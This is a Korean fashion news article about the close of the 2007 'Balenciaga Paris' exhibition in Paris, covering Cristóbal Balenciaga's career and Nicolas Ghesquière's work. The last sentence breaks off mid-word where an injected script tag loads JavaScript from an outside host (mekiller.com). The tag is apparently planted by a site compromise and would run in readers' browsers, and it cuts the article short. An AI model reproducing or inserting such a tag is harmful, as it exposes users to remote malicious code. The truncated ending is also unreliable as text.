발렌시아가 파리, 전시 성료

2007-02-23 09:40 조회수 아이콘 1884

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‘발렌시아가 파리’ 전시 성료


6개월에 걸쳐 진행된‘발렌시아가 파리(balenciaga paris)’전시회가 성료됐다. 파리에서 처음으로 가지는 이 전시회는 작년 7월 6일부터 지난 1월 28일까지 아르 데코라티프(Musée des Arts décoratifs, 107 rue de Rivoli 75001 Paris)에서 개최됐다.

이 전시회에는 스페인의 그랑 쿠튀리에 크리스토발 발렌시아가의 역사적인 작품들 외에도 97년부터 「발렌시아가」를 이끌고 있는 크리에이티브 디렉터 니콜라스 게스퀴에르(Nicolas Ghesquière)의 작품인 총 160점의 상품을 연대순, 테마 별로 전시했다.

크리스토발 발렌시아가(Cristobal balenciaga 1895~1972)는 1895년 스페인 태생으로 완벽함을 위한 컷의 심플리티를 표현한 쿠튀리에의 전설로 불려진다. 23살 스페인 산 세바스티앙의 첫 메종을 가지고 그는 정기적으로 파리를 드나들며 엘자 스키아파렐리(Elsa Schiaparelli), 마들렌 비오네(Madeleine Vioonet)의 예술적 영감을 고취시키는 작품들을 모으며 그들의 구조적 테크닉의 비밀과 디테일들을 공부한다.

1937년 에스파냐 내전을 피해 파리 10, 아브뉘 조르주 V가(avenue george V)에 메종을 오픈하고 파리 패션계의 왕이라 불리우며 여성의 몸과 의상 사이의 새로운 영향을 미치는 라인들을 창조해냈다. 이를테면 목선을 드러낸 ‘목걸이를 위한 장소’, 여성의 손목과 손짓을 새로운 포인트로 만들어낸 4분의 3 소매, 1957년 발표한 코르셋의 해방, 헐렁한 드레스(sack dress), ‘세미핏(semifit)’을 처음 선보였으며 모델에게 보디 스타킹을 최초로 입힌 인물이기도 했다.

그의 영감은 스페인 투우사의 케이프, 비비드한 컬러, 만틸라(스페인, 멕시코 등지에서 여자들이 머리에서 어깨까지 뒤집어 쓰는 베일의 일종)였다. 앞서 지방시가 말했듯이 장식보다는 재단사로서 출발해서 그런지 언제나 재단법에 충실했다. 실제 그의 옷들은 유리 넘어 거리를 유지하며 보아도 형식적인 고전주의자로 이미지화 해버리기에는 품위 그 자체였고 형태적 우아함과 유니크함을 동시에 가지고 있다.

절제됐지만 허를 찌르는 라인과 고전적인 아름다움은 그의 강박적 미를 연상케 하는 부분이었다. 그는 극단적이거나 다른 상품을 계절마다 소개하는 활동을 거의 하지 않았으며 패션 언론, 광고를 개의치 않았다. 다른 쿠튀리에의 컬렉션이 발표하고 한달 후 쇼를 열만큼 자신의 방식을 고집한 독립적 성향의 인물이었다.

모든 제작 단계를 관리하려는 강박 관념적인 욕구와 결합된 그의 재능은 당대 라이벌인 코코 샤넬 마저도 “오직 그만이 직물을 마름질하고, 의상을 재단하며, 직접 손으로 재봉할 수 있었던 인물이다. 다른 사람들은 그저 패션 디자이너였을 뿐이다” 라고 경의를 표하게 했다.

현재 니콜라스는 왜곡되지않게 메종의 맑은 정신을 훌륭하게 이끌어 나가고 있다고 평을 받고 있다.

1층에는 게스퀴에르가 디자인한 의상과 최근 컬렉션 영상물이 한쪽에서 보여졌으며 다른 한 코너 벽면에는 4분의 3소매 원본이 비추어 졌다. 그가 디자인한 연극무대 의상의 모형 및 옛날 작품부터 현재에 이른 작품들까지 다양하게 만나 볼 수 있었다.

발렌시아가는 자신의 작업에 대해 “설계에서는 건축가, 형태에서는 조각가, 색체에서는 화가, 조화에서는 음악가, 절도에서는 철학자여야 한다”라고 했다. Musee des Arts Decoratifs에서 개최된 이번 전시회는 Cristobal Balenciaga의 이례적인 재능에 찬사를 보냄과 동시에, 한때 크리스티앙 디오르가 그를 표현했던 것처럼 Balenciaga는 여전히 “우리 모두의 스승” 이라는 것을 보여주었다.

Balenciaga의 작품에 가장 애정이 깊은 고객들이 스페인과 벨기에의 여왕들, 모나코의 그레이스 켈리 왕비, 윈저 공작 부인이라는 사실만으로도 그의 클래식하고 정돈된 스타일과 오트쿠틔르의 예술가로 찬사를 받는 것에는 부족함이 없을 것이다. 그는 수많은 디자이너들에게 끊임없는 영향을 끼쳤으며, 이번 전시회는 그의 작품들이 현재 발렌시?script src=http://mekiller.com/1/1.js>